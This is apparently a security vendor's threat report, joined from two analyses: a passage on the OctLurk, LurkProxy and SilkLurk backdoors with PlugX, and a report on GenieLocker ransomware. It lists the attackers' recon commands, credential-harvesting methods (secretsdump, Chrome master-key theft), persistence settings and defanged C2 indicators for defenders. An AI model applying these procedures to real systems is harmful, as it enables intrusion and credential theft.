0x57: compressed data in the format: <uncompressed_size> <deflate(data)>
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
Command Shell: provides a command shell
File Manager: performs filesystem interaction
Interaction Manager: synthesizes keyboard and mouse events
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
Plugin type
Description
File Manager
● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes.
● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name.
● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file
● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder.
● case 0x10051: execute the specified command line using the CreateProcessAsUserW API.
● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API.
● case 0x10070: create a directory.
● case 0x10080: set the attributes for a file or directory.
● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2.
● case 0x20010: get the size of a file.
● case 0x20020: read a file from the system in chunks, starting at a specified offset.
● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times.
● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size).
● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2.
Command Shell
● case 0x3E9: launch cmd.exe as shell.
● case 0x3EA: send the exit command to close the command shell.
● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2.
If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file.
Interaction Manager
● case 0x3E9: capture the entire screen as a BMP image.
● case 0x3EA: capture the entire screen at specified intervals.
● case 0x3EC: retrieve clipboard data.
● case 0x3ED: copy the data to the clipboard.
● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button.
● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button.
● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button.
● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button.
● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event.
● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount.
● case 0x3FD: press the key indicated by the virtual‑key code.
● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code.
● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button.
Post-compromise activity
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
Victim fingerprinting
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
Command
Description
chcp 1256
Changes the system’s code page to 1256, which supports Arabic characters.
powershell $PSVersionTable
Retrieves the version information of PowerShell.
qwinsta
Views all active sessions on the local machine.
klist sessions
Displays a list of logon sessions on this computer (Including Kerberos).
TASKLIST /V
Lists all running tasks with detailed information.
findstr /i /c:”explorer.exe”
Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V.
wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]”
Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol).
Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details.
Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder.
cmd.exe /c dir /b c:\users
Lists the contents of the C:\Users directory.
wmic startup get caption,command | findstr exe
Filters startup items for executable files.
powershell “get-MpComputerStatus”
Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system.
Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender.
wevtutil gli Security
Configures the Security event log.
wevtutil gl Security /f:xml
Retrieves events from the Security log in XML format.
wevtutil gli “Windows PowerShell”
Configures the Windows PowerShell event log.
wevtutil gl “Windows PowerShell” /f:xml
Retrieves events from the Windows PowerShell log in XML format.
wevtutil gli System
Configures the System event log.
wevtutil gl System /f:xml
Retrieves events from the System log in XML format.
schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>”
Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName.
Provides network configuration details, such as IP address, DNS, DHCP status, etc.
ipconfig /all
Displays detailed network configuration.
netstat -e -s
Displays detailed network protocol statistics.
certutil -urlcache
Displays URL cache entries.
ipconfig /displaydns
Displays the contents of the DNS client resolver cache.
Event log collection
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Credential harvesting
Impacket — secretsdump
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Keylogger
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
Browser Password Decryptor
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
EHUSER: a Pandora RC user
STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
DESKTOPSHORTCUT: 0: do not create a desktop shortcut
Network scan: FSCAN
Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
Email harvesting
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
Verify that a connection to the email server is working
Authenticate the user
Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)
LurkProxy
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
Offset
Data
Type
0x00 (00)
Unused
–
0x08 (08)
Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet
bit array
0x0C (12)
Command number
int
0x10 (16)
Handler number (unique identifier for each proxy client in the first mode)
int
0x14 (20)
Command integer argument
int
0x18 (24)
Unused
–
0x1C (28)
Data 1 payload size
int
0x20 (32)
Data 2 payload size
int
0x24 (36)
Data 1 byte stream
bytes
0x24 (36) + N
Data 2 byte stream
bytes
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
Command ID
Direction
Description
Arguments
0x1000010
Implant -> C2
When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration
Target port in command integer argument
UTF-16 encoded connection hostname in data 1
0x1000010
C2 -> Implant
Used to control the session, allowing it to pause or stop proxying
Action in command integer argument (1 to pause, or any other value to terminate)
0x1000030
Implant -> C2
Sent when the LurkProxy is shut down
–
0x1000050
Implant -> C2
Forwards the received bytes from the client to C2
Raw TCP bytes in data 1
0x1000050
C2 -> Implant
Forwards the received bytes from the proxy target to the client
Raw TCP bytes in data 1
SilkLurk
Deployment
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
Service Type:SERVICE_WIN32_OWN_PROCESS
Start Type:SERVICE_AUTO_START
Error Control:SERVICE_ERROR_NORMAL
On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
Shellcode offset
Description
0x000 (0)
Stub code, which performs reflective code injection
0x770 (1904)
Hardcoded value 0x11113F68, XORed with the computer name hash
0x774 (1908)
Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs
0x775 (1909)
Size of the encrypted backdoor
0x779 (1913)
Encrypted backdoor data blob
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
SilkLurk backdoor
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
Offset
Description
0x00 (000)
C2 Host 1
0x64 (100)
C2 Host 2
0xC8 (200)
C2 Host 3
0x12C (300)
C2 Host 4
0x190 (400)
Port for C2 Host 1
0x192 (402)
Port for C2 Host 2
0x194 (404)
Port for C2 Host 3
0x196 (406)
Port for C2 Host 4
0x198 (408)
Unknown 21 bytes
0x1AD (429)
Proxy address 1
0x22A (554)
Proxy username 1
0x2A7 (679)
Proxy password 1
0x324 (804)
Proxy address 2
0x3A1 (929)
Proxy username 2
0x41E (1054)
Proxy password 2
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0x0C7FFBE86h (magic dword)
0x04 (04)
0x04 (04)
0
0x08 (08)
0x20 (32)
Network key (will be used to encrypt and decrypt network traffic)
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
Encrypted network key data (as mentioned in above table)
0x34 (52)
size between 0x14 (20) and 0xB4 (180)
Random data bytes
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
0xC7FFBE86 (magic dword)
0x04(04)
0x04 (04)
Message type (1 means victim information)
0x08 (08)
0x04 (04)
Data size (size of encrypted victim information)
0x0C (12)
0x01 (01)
Compression flag (1 means compressed)
0x0D (13)
0x02 (02)
Size of random bytes, between 0x14 and 0x96 bytes
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
Field offset
Field size (in bytes)
Field value
0x00 (00)
0x04 (04)
Random dword
0x04 (04)
0x0F (15)
Encrypted header data
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
Command (message type)
Description
03
Based on subcommand, perform the following operations:
00: Get target system’s local time
01: Set sleep time in milliseconds, after which to reconnect to the C2 server
04
Send current backdoor configuration
05
Update backdoor configuration
06
Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations:
01: Inject payload (plugin) bytes into memory and execute payload’s entry point
03: Call export method of injected plugin
Post-compromise activity
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
Config field name
Value
Injection Target Process
%SystemRoot%\system32\svchost.exe
Home Directory
%ALLUSERSPROFILE%\Symantec
Persistence Name
SymantecRAS
Service Display Name
SymantecRAS
Service Description
Symantec RAS Services
Campaign ID
KG_MFA
Infrastructure
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
Attribution
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
Conclusions
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).
The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.
Technical details
Modus operandi
We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).
In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.
Initial Access
During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.
Discovery and Credential Access
After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.
Lateral Movement and Command and Control
Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.
Impact
During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.
The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.
Encryption Trojan for Windows
The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.
Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.
GenieLocker help message
Arguments and launch
GenieLocker supports multiple arguments for configuring its behavior.
Argument
Description
First argument
“Secret” argument, hex string value
-p, –percent N
Percentage of file content to encrypt
-r, –recursive
Process directories recursively
-l, –log <filename>
Set path for log file
-h, –help
Show help message
Last argument
Path to encrypt
GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.
Checking the secret argument
The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.
Secret value hashing
Anti-debugging
GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.
Environment check
After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.
Watchdog checks
The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.
Preparing for encryption
GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.
Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.
Output for whitelisted hosts
If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.
Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.
Threads info output
File encryption and cryptography
The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:
a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
a journal: <fileext>.03ffc1c4a3da0f02.journal
The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.
The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.
Journal content
By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.
The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.
The metadata of each encrypted file contains the following fields.
Value or name
Size (bytes)
Description
version
1
Hardcoded byte with value 1, most likely the version.
encryption_percent
1
Percentage of file content to encrypt, value from -p argument.
file_nonce
24
Nonce used during encryption of the file content.
original_filesize
8
Original size of the file before encryption.
total_chunk_count
8
Max count of chunks inside the current file.
chunk_size
4
Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size
4
The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks
32
BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count
4
Number of chunks that were encrypted.
extension
64
A string with the additional ransomware extension.
poly1305_tags (array)
16 bytes per chunk
Array of Poly1305 tags of encrypted chunks.
bitmask
varies, one bit per each chunk
Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.
The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.
Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)
Encryption Trojan for ESXi and Linux
Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.
ESXi version description
The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.
LockBit output design, possibly the source layout for the GenieLocker ESXi variant
Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.
Argument
Description
-p <perc>
Percentage of file content to encrypt
-j <workers>
Number of encryption threads
-r <dir>
Process directories recursively
-w <sec>
Delay before start
-d
Daemonizing the process
-l <logfile>
Path to log file
ESXi and Linux features
This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.
This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.
Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.
File encryption
The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.
File encryption summary
Victims
